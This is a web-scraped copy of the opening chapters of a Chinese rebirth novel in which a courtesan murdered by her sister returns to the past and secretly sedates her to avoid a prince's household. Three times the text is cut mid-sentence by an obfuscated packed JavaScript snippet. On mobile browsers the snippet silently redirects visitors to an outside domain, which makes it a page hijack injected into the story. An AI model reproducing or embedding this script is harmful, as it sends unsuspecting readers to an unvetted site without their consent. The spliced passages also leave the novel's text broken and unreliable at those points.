《攀高枝》 1. 重生 “姐姐，你莫要怪我,如果不是实在没办法，我也不想走到今天这个地步。” “从小我俩一同吃、一同穿，你什么都比我强，我一直生活在你的影子之下，我亲你、慕你、妒你，但是无论怎样，我都明白，你对我最重要的人。” “你是如此照顾我，我祈明珠不是不知道感恩的人，从小到大你什么都让着我，可是这一次为什么不能继续让给我呢？姐姐，你要和我抢什么不好，非要和我抢尹长寻？” “明明我和你长的如此相似，可他处处眼里只有你，视我如无物，凭什么？好不容易我有了真正想要的东西，可却被你不费吹灰之力得到？” 云州郊外，空气中散发着森森冷气。 凉凉夜色，只有一轮明月散发出的光芒映照着大地。 祈今歌出门之时，带着七个仆从，如今已被人乱刀砍死，尸体横七竖八地散落，血流了一地，留下惊恐的表情，诉说着死不瞑目。 只剩下祈今歌还带着一口气。 她已经失去了往日的高贵与平静，一身白衣绸缎早就被鲜血染红，原本就白嫩的皮肤已经然苍白如纸，脸上全然不见一点血色。 她瘫坐在地上，双手抚住血如泉涌的腹部，剧烈的疼痛让她全身都微微颤抖。 “姐姐，你放心，你今天走了以后，我会好好照顾长寻，我会代替你给他生儿育女，我不介意做你的替身，只要你不在了，他终是会看我一眼的……” 女子抬手，掩嘴而笑，她的笑声如银铃般清脆,甚是好听，但在这死寂一般的黑夜，却显得分在瘆人。 鲜血不断涌出，身体越来越无力，祈今歌挣扎着，用尽最后一丝力气抬头看向面前的祈明珠。 祈今歌与祈明珠二人乃是亲生姐妹。 二人并非双胞胎，但容貌依旧极其相似，从小便是美人胚子，待到二人豆蔻年华，便已出落得亭亭玉立，美艳不可方物。 要说有何区别，便是是祈今歌的气质如高岭之花，带着拒人于千里之外的冷傲，而祈明珠则恰恰相反，翦水秋瞳，眉目含情，可谓媚态入骨。 二人只相差两岁，自妹妹出生开始，两姐妹从未分离过，可谓是亲密无间。 她万万没想到，今日竟然会命丧至亲之手。 而这仅仅是因为自己的丈夫——庆王尹长寻。 想到这个可笑的理由，祈今歌只觉得内心越发悲凉。 她强忍着疼痛与祈明珠对视，豆大的汗珠从额头上滑落。 “就算你认为自己能瞒天过海，但是你真的以为我死了，你就能得到尹长寻的心？” 祈今歌和祈明珠出生于贫苦家庭，母亲诞下祈明珠之时便难产而死，自此二人由祈父祈成田独自扶养，一家三口过着饥一顿饱一顿的日子。 后云州又因突发旱灾，全家已经到了生死边缘，祈父不忍两个幼女跟着自己饿死，便只能把带她们进城，在街上叫卖，试图把她们卖给富裕人家，只求自孩子还有一口饭吃。 因为妹妹二人从小姿色出众，机缘巧合之下，便被殷夫人买了下来。 殷夫人虽为女子，却是云州有名的富豪，为人雷厉风行，做事霹雳手段，云州不少举足轻重的人都和她关系匪浅。而她能够如鱼得水的重要原因之子，便是培养了一批众多容貌姣好的女子作为家妓，用来结交达官贵人。 在殷夫人手下的日子并不好过，殷夫人对所挑选之人的要求，比青楼最为优秀的艺伎还要严苛积分，越是才艺优秀、容貌美丽者，便更有可能攀上大树，为殷夫人牵线搭桥，否则一旦年老色衰，便只能被扫地出门。 而祈今歌和祈明珠这对姐妹便是殷府家妓中的佼佼者，被殷夫人选定送给了尹长寻。 在云州，没有人不知道尹长寻的名字。 尽管庆王并非先帝嫡子，但是先帝独宠其母苏双月到了人尽皆知的地步，因此爱屋及乌，先帝对尹长寻也是极尽偏爱，甚至远远超过了太子尹天志。 有传言称，如此下去，怕是要废除太子，拥尹长寻上位。 一时之间，朝廷之上波云诡谲。 然而在尹长寻五岁之时，他的母亲苏贵妃突患怪病而暴毙，形势又再度变化。 俗话说母凭子贵，但是事实上，很多皇子之所以能够赢得皇帝重视，很大程度上是因为其母妃能够得到皇上的喜爱。 宫中的人口上不说，心里却是明白，苏贵妃出身平平无奇，没有家族势力作为支撑，如今七皇子没了母后的庇护，哪里还有什么本事和太子相提并论？ 先帝驾崩后，事情果然按照众人预想的一般发展。 太子依旧按部就班继承皇位，而原本居住在京城的尹长寻却在不久后来到了云州。 新帝尹天志不仅不计较威胁过皇位的七皇子，还给他封了云州这么一块肥硕的地方，朝廷内外，皆称赞圣上海量。 纵然与皇位失之交臂，尹长寻依旧是高高在上的皇亲国戚，是无数人想攀上的高枝，是大宇国尊贵的庆王殿下。 但尹长寻生性就不爱和乱七八糟的人打交道，性子冷傲得很，因此几乎所有人都是热脸贴冷屁股，连庆王的人影都见不到，而殷夫人却成了其中例外，成了唯一一个和庆王攀上了关系的人。 尹长寻之前从未接纳过他人赠送的女子，向来洁身自好，一时间，祈家两姐妹得以踏入庆王府，理所当然成为了众人羡慕的对象。 而殷夫人背靠大树，也越发在云州风头无俩。 祈今歌和祈明珠刚进庆王府之时，二人曾约定过二人之中无论谁得宠，都要相互扶持，不忘彼此。 殷夫人曾经教导过她们，但凡是殷府红芳院出来的人，无论男女，都只是权贵打发时间的玩物罢了，是万万不能交付真心的。 两姐妹也曾发誓，绝不轻易动情。 但事情的发展往往无法预料。 二人一同入王府，然而五年以后，祈今歌虽非正妻，却俨然已经是王府唯一的女主人，王府中的一切，尹长寻都交由她全权做主。 而祈明珠在这五年之中，却只能做一个从未得到临幸的妾室。 论相貌，祈今歌与妹妹相差无几，论才艺，二人也是各有所长，可两人待遇却是天壤之别。 不是没见过祈明珠偶尔流露过的哀怨神情，也不是未曾委婉请求尹长寻雨露均沾，可终究是没有任何改变。 尹长寻给了祈明珠另外一条路，若是愿意便让她离府，虽不知道出于何种考虑，祈明珠终究是没有应下来。 日子就这样波澜不惊地重复着，谁也没能想到祈明珠会下此毒手。 祈明珠是终究是动了情，被嫉妒冲昏了头脑。 时逢尹长寻被传唤进京，而祈今歌已经怀孕数月，却依旧胎心不稳。 自从祈今歌进府的第二年小产后，原本就孱弱的身子变得更加虚弱，此后三年，她的肚子始终不见动静，如一汪枯竭的死水。 绝境之下，祈今歌陷入绝望，以为这辈子怕是都无法再拥有自己的孩子了。 然而在这时，她恰好听闻云州郊外不远处有一座小寺庙十分灵验，求香拜佛者络绎不绝，许多难以有孕的女子特去诚信供奉，不久后就迎来了喜讯。 从云州出发前往，只需三日便可到达，长久大门不迈的祈今歌于是起了出门的心思。 这才有了今夜的灭顶之灾。 祈今歌在内心自嘲，她对祈明珠的谋划一无所知，不知她竟然如此怨恨自己，更不知她是如何做到几乎日日待在府邸中，却能寻得身后这些黑衣人为她卖命。 可惜一切都迟了，自始至终，只有她将这份姐妹情当了真。 祈明珠闻言，讥讽地笑了笑：“那就不用你操心了，所有人都会认为你是被劫匪乱刀砍死。至于长寻，得不到他的心，得到人也是好的。姐姐，你占人又占心，我祈明珠不贪心，总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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咽下最后一口气后，她不知道在黑暗中漫无目的地前进了多久，久到连前世种种都渐渐模糊了起来。 唯独死亡的记忆是如此清晰。 等到在黑暗中再见到光明，她似是已经重返人间？ 她低头一看，自己此刻正躺在床上，穿着一身单薄白色寝衣，盖着薄被，姿态慵懒。 她慌乱地摸了摸自己的脖颈，却是光滑细腻，完好无损。 伤口竟然不见了。 想到脖颈被划开的冰冷，祈今歌只觉得身体发寒。 “姐姐？快起身吧，时辰不早了，别耽误了要事才好。” 熟悉的声音在房间回荡，祈今歌下意识望去，一见来人，惊得立马支起了半个身子。 床沿边坐着一人，正是害自己死于非命的凶手——她的妹妹祈明珠！ 祈明珠见祈今歌脸色瞬间煞白，不知发生了何事，她贴心地从怀中拿出帕子，想要擦拭着祈今歌额头上的汗珠，祈今歌却紧张地一下就把她的手甩开。 祈明珠的右手尴尬地停在半空中，脸上又是委屈又是不解：“姐姐，你这是怎么了？” 见姐姐不说话，祈明珠想了想，安慰道：“看来是等会就要见庆王殿下，姐姐太过紧张了。虽然殷夫人说如果出了岔子，就要扒了我们的皮，但那肯定是吓唬我们的。别担心，我们努力了这么久，一定不会出现失误的。” 庆王殿下？ 已经嫁人的祈明珠怎么会这样称呼尹长寻？ 她克服住心中的恐惧，抬起头细细打量祈明珠。 眼前的她比记忆中更为年轻，着一身鹅黄色的羽衣，衣服薄如蝉翼，身体的曲线被勾勒的玲珑有致，让祈明珠看起来更为轻盈飘逸。 此衣乃是献舞所用，平日祈明珠并不如此打扮。 祈明珠面上的妆容显然经过精心雕琢，本就艳丽绝伦的五官被胭脂晕染得恰到好处，只消惊鸿一瞥，便足以让人失了三分魂魄。 记忆瞬间如潮水般涌来。 祈今歌心中不由得发毛。 她猛地反应过来，眼前的一切，正是五年前发生的一幕！ 2. 失误 五年前，祈今歌彼时的身份还是殷府的家妓。 既没有嫁入王府，亦没有和祈明珠反目成仇。 她很清楚地记得今天是什么日子。 此时尹长寻突降云州还不到一年，众人哗然。 云州虽然富饶，但是远离上京，鲜有权贵到来，而借着皇家的名号在大宇之内又能行不少方便，没有几个人不想和尹长寻扯上点关系。 上门拜访者顿时络绎不绝，但除了极个别人能有幸得见，大多数都吃了闭门羹，无法窥得庆王的庐山真面目。 尹长寻身为七皇子，从小就得先帝喜爱，急万千宠爱于一身，性子中多多少少带了点皇室的傲慢，性格更是难以捉摸，让人难以接近。 然而殷夫人却与尹长寻的幼时好友——云州太守之子明正有所交集，借着这一位的薄面，邀请到了尹长寻到府中一聚。 也就是在这场宴会上，祈家二姐妹献艺过程中被尹长寻看上，才得以有机会迈入王府。 祈今歌心下一沉，祈明珠对尹长寻的执着已经到了疯魔的程度，若是从未与尹长寻相遇，她和祈明珠是否还会走到不可挽救的境地？ 尹长寻。 想到这个名字，祈今歌内心还有忍不住有一丝刺痛。 祈明珠认为是她占据了尹长寻的内心，然而果真如此吗？ 她虽有正室之权，却并非觉得是尹长寻多在乎自己。 一来，尹长寻并未迎取正妻；二来，府邸中的事需要人来打点，尹长寻不会对府中繁杂的小事亲力亲为，因此相较于性格刁蛮的祈明珠，自然是性格温软的祈今歌更为适合管理府中事务。 说到底，这只不过是权衡利弊下做出的选择。 而尹长寻虽和她有肌肤之亲，却几乎不怎么与自己交谈，既不谈论他自己，更不会过问祈今歌。 至于为何会这样，祈今歌想，只有不在意一个人，才会不闻不问，才会无牵无挂。 这样的尹长寻，怎么可能喜欢她？ 祈今歌从未看透尹长寻的内心。 殷夫人说过，男子大多薄情，喜新厌旧乃是常事，无论是国色天香还是姿色平平，终究是会有被厌弃的那一天。 祈今歌明白这个道理，因此她不会痴心妄想，奢望尹长寻今生喜欢自己，更别提只喜欢自己一人。 就算自己是尹长寻的枕边人，可是她不懂尹长寻，尹长寻也从不关心她的所思所想。 祈今歌并不是个贪心的人，她只想安分守己，做好自己应做的，安稳度日便已知足。 然而这世上的事总是事与愿违。 入王府后的第二年，祈今歌有了身孕，平心而论，想到要初为人母，她是喜悦的，可是接下来她却不幸小产，遭此一劫，祈今歌心力憔悴。 之后三年祈今歌再没有过身孕，她心怀期待，想祈求上苍，等着她的却是不测之祸。 自己和孩子的命都没保住，这个残酷的事实让祈今歌觉得后怕。 仿佛是老天爷都在告诉她。 这是一段孽缘。 如果这一世还是嫁给尹长寻，纵然她能够防备祈明珠，保住性命，可在尹长寻身边，真的是她想要的吗？ 祈今歌心下一沉。 她不敢再赌了，也不愿意再赌了。 她不想再重蹈覆辙。 此生她只想过平静的日子，细细想来，无论是祈明珠还是尹长寻，避而远之才是最好的。 祈明珠看祈今歌神色恍惚，不知姐姐在想什么，只是坐在她身边看着她，等候着着祈今歌的回答。 她的嘴角带着浅浅的微笑，妩媚动人之中却还带了一丝清纯，称得上是倾国倾城。 祈明珠长得虽媚，但唯独她一双黑眸却是十纯净又明亮，没有丝毫攻击性，足以让任何人放下防备。 任谁看了，也不会相信这双眼睛的主人能做出谋害亲姐此等丧心病狂的举动。 祈今歌掀开被子，站起身来，换上衣服，没有答话。 虽然她顾忌着姐妹情不忍以牙还牙，可是无论如何，祈明珠杀害自己的手段之残忍，她却是永生永世都无法忘怀。 她们两之间已经产生了无法弥补的裂痕，不可能再回到过去。 祈明珠见祈今歌无视自己，越发觉得奇怪。 姐姐不可能没听见自己说话，很明显是不想搭理自己，她向来对自己百依百顺，有求必应，今日态度却很是冷淡，这到底是为何？ 一个时辰以后庆王就要到来，殷夫人早就吩咐让她们要万无一失，对她们寄予厚望。 她都准备好了一切，正寻思为何还未见到姐姐踪影，结果来到房间才发现，她一向勤快的姐姐竟然还在这睡觉？ 太反常了。 可无论如何，现在都不是追究这些的时候。 自从被买入殷府以来，祈明珠学琴，祈明珠学舞，两个人珠联璧合，配合得天衣无缝，凡事见过他们姐妹二人的，纵然不为容颜所动，也会为她们初众的才艺吸引。 祈明珠有信心，不管庆王多挑剔，只要他还喜欢女人，只要不出意外，她绝对可以获得庆王的喜爱。 可眼下祈今歌一副心不在焉的样子，要是耽误了接下来的演出怎么办？ 她们姐妹二人色艺双绝，在殷夫人豢养的家妓之中，她们已经算待遇最优的。 可是她们始终身份低贱，是奴才而不是主子，因此一言一行要看殷夫人的脸色行事，还要面对其它家妓之间的勾心斗角，如今好不容易夫人决定让她们在庆王面前露面，这可是千载难逢的机会，如果王爷要是看上她们了，她们姐妹二人便是飞上枝头变凤凰，这可是一辈子的荣华富贵。 别说殷夫人不允许她们出现失误，祈明珠自己也断不容许自己出现任何意外。 想到这，祈明珠看到坐在梳妆台梳妆的祈今歌，心理隐隐升起了一股烦躁，但是最终还是将怒气在心田浇灭，轻言细语道：“姐姐，今日的宴会可不要耽误了时辰，夫人等着看我们表现呢。” 祈今歌沉默。 宴会，她自然是要去的。 殷夫人对于不听话的下人，向来是手段狠辣，绝不留情，即使她是夫人手中最花心血培养的人，她也绝不容许任何人冒犯她的威严。 姐妹二人在孩童时期，总有不听话的时候，为此被打得皮开肉绽也不是没有过，自此以后心中总是对殷夫人怀有敬畏之心。 若是在夫人如此重视的宴会上忤逆她，便是半条命也要折了去。 只是...... 她和祈今歌在宴会上的表演不能够“安然无恙”。 只是，要如何做呢？ 她可以选择自己弹奏失误。 只不过殷夫人的怒火就会发泄在她的身上。 祈今歌梳理了一下思绪，想到前世种种，垂下了眼睫。 不...... 不应该每次都由她来背负苦果。 这一次的代价应该由祈明珠来付。 只是尹长寻已经来了殷府，现在时间紧急，她必须立马找出一个法子，既能破坏殷夫人的计划，又让自己全身而退。 这不是件简单的事。 该怎么办…… 她眼神扫过房内，漫无目的地游荡着，最终在看到茶几上的立着的茶壶后才定了下来。 天随人愿，还真让她找着了。 祈今歌扭头看向祈明珠，道：“去，肯定是要去的，你放心，我是不会耽误的。” 见祈今歌许下承诺，祈明珠悬着的心终于放了下来，于是她也站了起来，走到祈今歌身边，道：“姐姐，若是我俩去了王府，便再也不用过这低声下气的日子，再也不用看人脸色，每日穿金戴银，过不完的逍遥日子，你说多好。” 祈今歌意味深长地看着她，问道：“是吗？我倒是怕二女同侍一夫，最后我们两姐妹之间，反倒生了不和。” “怎么可能！姐姐，你纯粹是多心了！姐姐你从小真心待我，但凡你有一口吃的，就不会少了妹妹的，明珠也不是忘恩负义之人，时时刻刻把把姐姐的好记在心里，只想有机会能报答姐姐。咱俩姐妹一条心，别说王爷，就是皇帝也让我们生分不了！” 她眼神明亮，一只手搭在祈今歌肩膀上以示宽慰，同时回答地颇为认真，信誓旦旦的模样，让人难以怀疑她的话语。 祈今歌笑的冷淡，也许彼时的祈明珠说这番话，的的确确是出自真心。 只不过这一切在遇到尹长寻以后，都将被彻底改变。 她站起身来，走到了茶几面前，拿起摆放在上面的茶壶给倒了杯茶，端到了祈明珠的面前。 她作往日的模样哄着祈明珠。 “你说的也对。你先喝杯茶，坐着休息会，让我收拾完，再一同前去。” 茶杯内散发出淡雅的草药味，里面泡着的是金黄的花瓣。 看上去不过是一杯平平无奇的菊花茶罢了。 但里面夹杂着的酸枣仁、知母的粉末，都是安神催眠的玩意儿。 祈今歌本来就有不寐的问题，向来睡得不怎么不安稳。 大夫给她开了方子，让她煎煮服用来安眠，可是祈今歌嫌药汤味苦，便将大夫里面药材研磨成了粉末，泡在自己的茶水之中，以备不时之需。 每每睡不着的时候，她便小啜一口，难以入眠的问题也会改善许多。 她加的药材不多，所以几乎喝不出苦味，只能品出菊花的清甜。 冲泡的效果虽然比不上煎煮有效，但是也算不上差，只需要不到半个时辰，基本就会感觉到有睡意。 祈明珠平日根本不关心这个姐姐，也不清楚她有这个毛病，更不知道她还需要服药才能睡得安稳，所以也不清楚茶水中掺了什么，也无法根据味道察觉其中的不对劲。 祈明珠接过茶盏，喝了几口润了润喉咙，一张樱桃小嘴瞬间变得水润，像鲜嫩欲滴的樱桃。 她将空了的茶杯还给了祈今歌，笑着道：“姐姐，这茶真甜。” *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457655|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>碧陶园乃是殷夫人花重金打造的一块后花园，除了平日供她自己赏心悦目之外，便只有极为尊贵的客人前来才带来此处招待。 祈明珠从隔扇门探出头，观察着园中的情况。 视线落在某处，她的呼吸不由得一滞。 对于素未谋面，先闻其名的人，人很难不产生一探究竟的好奇心。 祈明珠当然想过尹长寻到底是何模样。 或风流倜傥，或普普通通，或丑陋异常。 但是唯独没想过他是这般好看。 他身材修长，穿一身墨色缎袍，衬得他肤白若雪，一张脸生得异常俊美，约摸十七八岁的模样，既有着男人的成熟，却又带着少年的俊美。 他的模样是冷峻的，但是一举一动之间却流露出一股少年特有的散漫的不羁，使他几乎达到了堪称惊人的好看。 殷夫人于园内设了坐席，此刻他正慵懒地坐在锦毯长毡之上。 时值花开得正盛的时候，花团锦簇，争奇斗艳，教人看得应接不暇，可这些加在一起，却统统比不过这位庆王殿下。 他在日光和煦的照耀下熠熠生辉。 祈明珠失了神。 殷夫人与他相对而坐，不知道在说些什么，脸上是从未有过的殷勤，而尹长寻兴致缺缺，漫不经心地举起酒杯，对面前唱着小曲的清丽歌姬甚至懒得多看一眼。 真是太过英俊。 祈明珠的心如小鹿乱撞，双手不自觉地抚摸上了脸颊，才惊觉不知不觉间自己面颊已经微微发烫。 上天垂怜，她苦了这么多年，竟然等来了这样神仙似的人物。 她在殷府见过的宾客大多数都相貌平平，甚至堪称丑陋，偶尔有个五官清秀的，院内的姐妹甚至还会争风吃醋。 怎敢肖想和这样炫目的人有关联，哪怕仅仅只是做个妾室。 不仅不用做一名供人取乐的家妓，彻底离开殷府，甚至这个人还是惊为天人的存在，便是整个云州的男子加在一起，又怎能比得上他？ “明珠，你在看什么呢？” 祈明珠正看如痴如醉之时，被人打断了思绪。 转过头来站在自己身后的祈今歌。 相比于自己的浓妆艳抹，她几乎算得上是未施加粉黛，只是稍作打扮，随意抹了点胭脂，几乎与平日装扮无差，可饶是如此，仍是清水出芙蓉，不输祈明珠半分。 祈明珠突然有些不甘，尽管她们姐妹二人长得极为相似，可任谁都知道，若是细看，祈今歌就是比自己更为精致好看，更别说因为知道自己才华也略逊一筹，这才会在当初祈今歌选择学琴的时候，自己特意和她错开，选择了学舞，才免得处处被她压了一头。 祈明珠收敛了笑容，压住了有些荡漾的心思，对着祈今歌道：“没什么，姐姐，马上就要到我们了。” 祈今歌不语，上一世的时候，她也在相同的时辰和地点看到祈明珠用如此痴迷的眼光看着园内。 祈明珠也用同样的回答搪塞了自己。 虽然她也猜到了祈明珠对尹长寻自此一见钟情，可她无论如何都想不到，这份痴迷最后会不受控制，逐渐将她吞噬。 如今经历生死，她方才意识到，祈明珠的目光中早已夹杂着一丝疯狂。 “啊，姐姐，到我们了。” 正当等候的两人陷入沉默之时，祈明珠看到唱曲的歌妓退出了碧陶园。 根据殷夫人的安排，她们祈家二姐妹将最后出场，在献艺结束以后，殷夫人会顺水推舟，提出把她们姐妹二人赠与尹长寻。 祈明珠不由得紧张了几分，有些慌乱地向前走。 祈今歌安静地紧随其后。 二人一同上前，院内候着的仆人已经迅速在空地处架好了古琴，祈今歌坐在椅子上，开始拨弄琴弦。 祈今歌的琴技高超，几乎已经到了出神入化的地步。 而祈明珠在一旁翩翩起舞，身轻如燕，足以倾倒众生。 直到这时，尹长寻才微微抬起头，正式看了二人一眼。 殷夫人察觉到尹长寻的动作，微微一笑，满意地朝着二人微微点头。 不愧是她煞费苦心培养的美人，终于有本事让尹长寻提起兴趣。 祈明珠立马就察觉到了这束目光，不由得有些激动起来。 她刚想进行下一个动作，可是突然之间，一阵眩晕袭来，眼前的景物也开始有些模糊。 她突然觉得身体有些疲惫，连带着她舞动着的四肢也迟缓了下来。 拍子乱了。 等到意识到了这点，祈明珠的内心瞬间感到一阵惊骇！ 祈明珠凝神，调用全身的注意力，努力让自己保持着清醒，可就算如此，一阵又一阵的困意如潮水一样袭来。 她拼劲全力抵抗，也仍旧收效甚微。 祈今歌微微一瞥，已经察觉到了祈明珠的不对劲。 她面上不动声色，继续拨弄着琴弦。 看来她给的那杯茶水已经生效了。 3. 受罚 传闻尹长寻的母亲苏双月能得先帝独宠，不光是因为她长得花容月貌，更是因为她那一手好琴艺经惊艳绝伦，讨了先帝欢心。 而尹长寻耳也受母亲影响，耳濡目染之中，从小便在音律方面有着极高的天赋。 也正是因为如此，前世祈今歌和祈明珠远超众人的才艺才能让尹长寻高看一眼。 也是由于上一世她们二人堪称完美的配合，才让殷夫人能够成功提出将二人送给尹长寻，从而攀上皇家这颗大树。 尹长寻眼界甚高，凡夫俗子不能入眼。 而她和祈明珠的表演相辅相成，祈明珠要是表现的不好，她的弹奏就算不出错，这出戏也算不上好。 所以这一次，出现失误的祈明珠绝不会为尹长寻所接纳。 她们二人也再无踏入庆王府的契机。 祈明珠察觉事情不妙，然而她此刻将这一曲舞完已经是极限，意识突然变得沉重，身体的僵硬也随之而来，一时之间，原本已经烂熟于心的舞姿竟然出了差错。 她自己都感受得到，更别说在观看的宾客眼中，她的失误便更加明显。 祈明珠心慌的不行，随即节奏更加乱了。 她无助地看了一眼祈今歌，只见她的姐姐依旧是淡然的表情，垂眸抚琴，仿佛没有察觉到她的不对劲。 然而来不及细想更多，祈明珠已经看到了殷夫人望向自己如刀子一般的眼神，仿佛要将她生吞活剥。 想到殷夫人的手段，她瞬间冒出一身冷汗。 祈明珠强行定下心神，逼迫自己冷静下来，这才勉强使自己跟上了祈明珠弹奏的拍子。 然而纵然她尽全力调整好了自己的步伐，太过明显的错误也足以让尹长寻也没有了兴趣。 尹长寻看得想笑。 这殷夫人费劲功夫把她邀请了过来，结果这压轴的表演竟然和闹着玩一样。 比前面那些资质平平歌姬还不如。 一曲完毕，尹长寻始终没有抬头再看二人第二眼，除了殷夫人阴晴不定的面容，剩下的，便是祈明珠藏不住的惴惴不安。 殷夫人对祈明珠的失误看在眼里。 一旦殷夫人没有达到自己的目的，祈明珠不死也要脱层皮。 想到祈明珠要面对的后果，祈今歌已经没有了前世的心疼。 “王爷，这两位小女一名唤祈今歌，一名唤祈明珠，乃是同胞姐妹，不知您认为她们二人如何？” 绕是二人的表现不如人意，殷夫人依旧决定还是赌一把。 把庆王请过来就已经实属不易，不把握这次机会，谁知道下一次再能牵上线搭上桥？ 更何况就算除去才艺，祈家二姐妹的容貌也是绝世之姿，举世难寻。 庸脂俗粉，尹长寻自然看不上，可这两个神仙似的人儿，又有几人能做到不为所动？ 尹长寻玩转着手中的酒杯，看了一眼站在前方等候他发话的二人。 原本以为殷夫人费尽心思请自己过来，大抵还是有什么新奇手段，没想到依旧是老掉牙的美人计。 并且还是两名学艺不精的美人。 便是作为花瓶也不值得他多看一眼。 于是他嗤笑道：“不怎么样。” 简单的四个字，却是判了殷夫人计划的死刑。 既然是“不怎么样”的女子，自然是配给“不怎么样”的男子，若是此刻再提出想要把她们送给尹长寻，岂不是有大不敬之意。 于是殷夫人尴尬地笑了笑，道：“我看也是，王爷自京城而来，自然是见多识广，她们两个毕竟是我自己养着取乐着玩的，还是难登大雅之堂。” 话音刚过，殷夫人却是转头看向祈明珠姐妹二人，恶狠狠道：“还愣着在这碍眼干什么？还不退下？！” * 祈明珠跟在祈今歌的身后。 二人沉默着，并肩走于游廊之上。 祈明珠出了碧陶园以后，才发现自己后背出了一身冷汗，身体也因为害怕而微微颤抖。 浓烈的睡意在极度紧张的情况下已经被冲散了很多。 她惹祸了。 犯了大错。 她太清楚接下来等待着自己的下场是什么了。 殷夫人绝对不会放过她的！ 可是...... 她想不明白，自己明明早上还好好的，精神抖擞的，为什么会突然困意缠身？ 祈今歌悄无声息地瞥了一眼祈明珠。 精致的小脸此刻正一正青一阵白。 很明显，她在害怕。 现在的祈明珠还是非常信任自己的姐姐，所以她打死也不会想到，问题是出在了祈今歌递过去的那杯茶上。 祈今歌并不打算像往常一样安慰她，也不打算去夫人面前为她求情。 祈明珠要了她的命，而她只是让祈明珠付出一点小小的代价。 她并不会觉得愧疚。 祈今歌挪开了目光，微微加快了步伐。 祈明珠回过神来，上前直接拉住了祈今歌的袖子，忍不住道：“姐姐！刚刚你看到了吧，我搞砸了！方才我跳舞的时候，不知为何，竟然困得要命，头脑一阵眩晕，四肢好像不听我的指挥一样，这到底怎么回事？” 祈今歌垂下眼睫，回答道：“我哪知道。兴许是你昨晚没睡好，刚好犯困了。” 语气虽然依旧和平日一样温柔，但是言语之中，显得对此事颇为有些不在意。 或者说，简直是敷衍。 祈明珠觉得不可思议，这不该是祈今歌会有的反应。 “姐姐，你......” 祈明珠震惊到了失语的地步，这还是那个把她捧在心尖上的姐姐吗？ 明明昨天的她都不是今天这个态度！ 要是以前，祈今歌感到到祈明珠的不安，绝对会体贴地承受妹妹的一切情绪，为她出谋划策，想办法解决危机。 可她现在感受到的，只有应付祈明珠的疲惫。 目的已经达到，这出姐妹情深的戏码，祈今歌已是一刻不想再演。 祈今歌没心情听她长篇大论，直接打断了她：“我乏了，要回屋休息，有什么事，我休息好了再说。” 绕是祈明珠已经被祈今歌不以为意的态度气的手背青筋凸起，嘴上却是先服了软。 “姐姐说的是，大抵也是我们姐妹俩没这个命吧，也是不能强求。”她眼里闪过几分思量，又有些不安地问道，“可是夫人先前便已经交代了，若是出了差错，可没我们好果子吃，这可如何是好？” 她如往常一般在祈今歌面前撒娇，指望这个百依百顺的姐姐替自己想想办法，解决当务之急。 或者...... 直接替她揽下搞砸的责任，让夫人不再惩罚自己。 祈今歌侧过身，冷眼看向祈今歌。 她的心已遍体凌伤，怎么可能再对祈明珠百依百顺。 祈今朝看向她，眼神却冷淡得很：“刚刚是你出了错，我可没有。” 她的话说的明明白白，她只为自己的失误受罚，不会为祈明珠的错误负责。 祈明珠一下子就听出来祈今歌话中的意思，生平第一次，她有一种想给祈今歌一耳光的冲动。 祈今歌今天是不是吃错药了？ 她怎么就不能和以前一样懂事，承诺在夫人年前护着自己吗？！ 哪怕夫人不罚她，那也证明祈今歌把自己放心上了！ 为何祈今歌为何突然会像变了个人一样，态度竟然如此冷漠？ 记忆里的祈今歌，只会唯恐妹妹受到一点伤害，哪里会和现在这样，将二人责任划分的明明白白。 到底怎么了？ 她忍不住埋怨祈今歌，作为姐姐，她怎么能对自己这个态度？！ 但她根本不好发作，既然机会已经失去了，她更不能再和自己的姐姐翻脸，她生来便是骄横性子，在府中得罪过不少人，已经有很多人看她不顺眼，明里暗里地使绊子。 她只不过是惯会在祈今歌面前卖乖，若不是姐姐护着，哪有好日子过？ 既然已经进不去庆王府了，她就更不能失去在殷府中唯一的庇护。 祈明珠冷了脸，强忍着怒意，不再说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457656|185361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着祈今歌先行远去的背影，她感觉到太阳穴突突地跳。 祈今歌对她这般态度，简直比不能成为庆王妾室的这件事还要可恨得多！ * 两人落了红芳院，各自回了房。 祈明珠正在自己卧房里惴惴不安地等待着，她双手环胸，焦虑地在房间来回走来走去，做什么都没了心情。 祈今歌的闺房在祈明珠的隔壁，能够清楚地听到她来来回回的脚步声。 相较于祈明珠的焦虑不安，祈今歌则是截然不同的模样，她躺着休息够了，便走到了茶几面前，将茶壶里面剩下的茶水全部倒在了窗台案几上的盆景之中。 为避免节外生枝，以后这罐茶壶里便也只放普通茶叶。 如此，也算是不留痕迹，没有后顾之忧了。 她将茶壶放回原位，又走到了放置在房屋中放置着的矮脚木柜面前。 柜子用一把铜锁锁着，她拿出钥匙打开了柜门。 木柜里分为两层，一层摆放着瓶瓶罐罐，乃是各种医治跌打损伤的药物，祈今歌常年备着，以防不时之需。 不过说到底，习琴的她成日坐着，倒也受不了什么伤，说是备着，其实当初也是为了跳舞的祈明珠备着的。 毕竟每天动来动去的，少不了磕磕绊绊。 而另一层只有一只朱红色匣子放置在其中，看外表并无什么稀奇的，与普通的首饰盒无异。 